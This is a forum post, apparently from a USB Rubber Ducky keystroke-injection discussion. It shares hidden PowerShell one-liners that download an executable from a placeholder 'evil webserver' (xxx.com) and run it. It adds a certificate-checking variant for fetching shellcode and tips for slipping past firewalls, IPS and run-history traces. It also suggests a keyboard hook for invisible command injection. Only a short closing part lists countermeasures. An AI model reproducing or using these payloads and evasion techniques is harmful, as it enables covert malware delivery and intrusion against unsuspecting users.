blazingmind

Every little bit helps, right? Here are my 2 cents... powershell -w hidden (new-object system.net.webclient).downloadfile('https://xxx.com/1.x','%tmp%\1.exe');saps "%tmp%\1.exe" Thats a tiny bit shorter/faster... Also if your evil webserver has a valid certificate, then you can use SSL for the shellcode transfer as well. This would let it pass undetected through firewalls and IPS'es that would potentially detect the shellcode in transit. Being trapped by an IPS is usually a game over scenario since you raise all kinds of alarms, so this is something you usually want to avoid. Having a valid ssl certificate is no problem for legit pentesting. I wouldn't want to sign a hack with my own certificates if I was doing anything illegal though ;-) Another minor tweak... I don't know if it works, but just pressing the "GUI" key without "R" leaves less of a trace in the run history and may be faster... Haven't tested if it works though, and it may be theoretically a bit more unstable since you are executing based on a "search result". Normally you shouldn't find many matches though ;-) Also I'd like to point out a few more tweaks and ideas: 1. Verify evil webserver's certificate so that you know that you aren't being tricked into a proxy / man-in-the-middle situation... $w=[System.Net.WebRequest]::Create('https://xxx.com');$r=$w.GetResponse();if ($w.ServicePoint.Certificate){$Cert=[System.Security.Cryptography.X509Certificates.X509Certificate2]$w.ServicePoint.Certificate.Handle;$Chain=New-Object System.Security.Cryptography.X509Certificates.X509Chain;If(($r.ResponseUri -eq 'https://xxx.com/')-and($Chain.Build($Cert))){ powershell -w hidden (new-object system.net.webclient).downloadfile('https://xxx.com/1.x','%tmp%\1.exe');saps "%tmp%\1.exe"}} The whole idea here is that you check the ResponseUri against an expected value so you know you are talking to the right server, and then verify the validity of the cert before you transfer the actual shellcode.The payload is getting quite big though (about 400 characters), so you might not want to use it all the time. 2. Don't know if you have already discussed this on the board, but system wide keyboard hooks don't require admin access to install / run, and they don't need to be big (2-3k should do it I believe). if you want to drop huge amounts of code, you could theoretically drop a system wide keyboard hook on the system first, and have the keyboard send keystrokes through that keyboard filter only. This would let you input commands to any window, and if you filter it correctly, there is no way to intercept / see what's going on. Once the hooks are installed, there are no visible windows that spew out the payload etc. 3. With regards to countermeasures, there are a few options that are effective: a. Antivirus will detect your shellcode if it has signatures for it. b. Antivirus heuristics tend to trigger on a single parent process downloading code and then immediately executing. Some heuristic algorithms are actually quite hard to work around. c. It is possible to detect and block rubber duckies with system wide keyboard hooks. You could for instance filter anything following a CTRL/ALT/WIN keypress against a blacklist, or even profile typing patterns and rate. This is not even hard to do. Hope this was useful...